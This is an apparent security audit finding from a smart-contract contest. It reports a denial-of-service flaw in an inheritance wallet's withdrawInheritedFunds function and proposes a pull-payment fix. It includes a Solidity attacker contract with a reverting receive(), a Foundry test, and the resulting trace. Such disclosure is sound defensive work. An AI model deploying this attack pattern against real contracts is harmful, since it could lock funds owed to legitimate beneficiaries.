Relevant GitHub Links
https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/9de6350f3b78be35a987e972a1362e26d8d5817d/src/InheritanceManager.sol#L236-L256
Summary
The withdrawInheritedFunds
function is vulnerable to a Denial of Service (DoS) attack. A malicious beneficiary can prevent other legitimate beneficiaries from receiving their inherited funds by implementing a reverting receive()
function in their contract address.
Vulnerability Details
The vulnerability exists in the withdrawInheritedFunds
function where it uses a push payment pattern to distribute ETH to all beneficiaries in a single transaction. The function iterates through all beneficiaries and sends ETH to each one. If any beneficiary's receive function reverts, the entire transaction fails, blocking all other beneficiaries from receiving their funds.
Impact
High severity as it completely blocks the inheritance distribution mechanism
Legitimate beneficiaries cannot receive their inherited funds
The contract's core functionality becomes unusable
Funds can become permanently locked in the contract
Proof of Concept
The attack can be demonstrated using a malicious contract that implements a reverting receive()
function:
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract InheritanceManagerDoSHacker {
InheritanceManager target;
uint256 amount;
constructor(address _target) {
target = InheritanceManager(_target);
}
receive() external payable {
revert("DoS Attack!");
}
}
Here's the test for the DoS attack:
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
console.log("im owner", im.getOwner());
}
function test_DoSAttackWithdrawInheritedFunds() public {
InheritanceManagerDoSHacker hacker = new InheritanceManagerDoSHacker(address(im));
vm.startPrank(owner);
im.addBeneficiery(address(hacker));
im.addBeneficiery(user1);
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 6e18);
vm.warp(1 + 90 days);
vm.startPrank(user1);
im.inherit();
vm.expectRevert();
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
}
}
Run the test;
forge test -vvvv --match-contract InheritanceManagerTest --match-test test_DoSAttackWithdrawInheritedFunds
which yields the following output:
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_DoSAttackWithdrawInheritedFunds() (gas: 219451)
Logs:
im owner 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
Traces:
[219451] InheritanceManagerTest::test_DoSAttackWithdrawInheritedFunds()
├─ [47223] → new InherieDoSHacker@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 124 bytes of code
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [69020] InheritanceManager::addBeneficiery(InherieDoSHacker: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(1)
│ └─ ← [Return]
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 6000000000000000000 [6e18])
│ └─ ← [Return]
├─ [0] VM::warp(7776001 [7.776e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [22686] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [0] VM::expectRevert(custom error f4844814:)
│ └─ ← [Return]
├─ [8247] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ ├─ [144] InherieDoSHacker::receive{value: 3000000000000000000}()
│ │ └─ ← [Revert] revert: DoS Attack!
│ └─ ← [Revert] revert: something went wrong
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.80ms (1.06ms CPU time)
Ran 1 test suite in 1.77s (8.80ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
Implement a pull payment pattern instead of the current push payment pattern:
Modify withdrawInheritedFunds
to only record the claimable amounts:
mapping(address => uint256) public ethWithdrawableAmount;
function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
ethWithdrawableAmount[beneficiaries[i]] += amountPerBeneficiary;
}
}
}
Tools Used